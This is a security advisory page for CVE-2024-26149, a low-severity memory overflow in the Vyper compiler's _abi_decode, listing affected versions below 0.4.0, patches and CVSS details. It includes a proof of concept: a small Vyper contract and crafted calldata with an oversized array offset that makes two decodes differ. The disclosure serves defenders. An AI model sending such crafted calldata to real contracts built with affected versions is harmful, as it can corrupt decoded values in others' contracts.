Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS05cDhyLTR4cDQtZ3c1d84AA5gq
Vyper's `_abi_decode` vulnerable to Memory Overflow
Summary
If an excessively large value is specified as the starting index for an array in _abi_decode
, it can cause the read position to overflow. This results in the decoding of values outside the intended array bounds, potentially leading to bugs in contracts that use arrays within _abi_decode
. The advisory has been assigned low severity, because it is only observable if there is a memory write between two invocations of abi_decode
on the same input.
Proof of Concept
event Pwn:
pass
@external
def f(x: Bytes[32 * 3]):
a: Bytes[32] = b"foo"
y: Bytes[32 * 3] = x
decoded_y1: Bytes[32] = _abi_decode(y, Bytes[32])
a = b"bar"
decoded_y2: Bytes[32] = _abi_decode(y, Bytes[32])
if decoded_y1 != decoded_y2:
log Pwn()
Sending the following calldata results in Pwn
being emitted.
0xd45754f8
0000000000000000000000000000000000000000000000000000000000000020
0000000000000000000000000000000000000000000000000000000000000060
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa0
Patches
Patched in https://github.com/vyperlang/vyper/pull/3925, https://github.com/vyperlang/vyper/pull/4091, https://github.com/vyperlang/vyper/pull/4144, https://github.com/vyperlang/vyper/pull/4060.
Permalink: https://github.com/advisories/GHSA-9p8r-4xp4-gw5wJSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05cDhyLTR4cDQtZ3c1d84AA5gq
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Low
Classification: General
Published: 9 months ago
Updated: 5 months ago
CVSS Score: 3.7
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N
Identifiers: GHSA-9p8r-4xp4-gw5w, CVE-2024-26149
References:
- https://github.com/vyperlang/vyper/security/advisories/GHSA-9p8r-4xp4-gw5w
- https://nvd.nist.gov/vuln/detail/CVE-2024-26149
- https://github.com/advisories/GHSA-9p8r-4xp4-gw5w
Blast Radius: 8.8
Affected Packages
pypi:vyper
Dependent packages: 5Dependent repositories: 236
Downloads: 73,745 last month
Affected Version Ranges: < 0.4.0
Fixed in: 0.4.0
All affected versions: 0.2.1, 0.2.2, 0.2.3, 0.2.4, 0.2.5, 0.2.6, 0.2.7, 0.2.8, 0.2.9, 0.2.10, 0.2.11, 0.2.12, 0.2.13, 0.2.14, 0.2.15, 0.2.16, 0.3.0, 0.3.1, 0.3.2, 0.3.3, 0.3.4, 0.3.5, 0.3.6, 0.3.7, 0.3.8, 0.3.9, 0.3.10
All unaffected versions: 0.4.0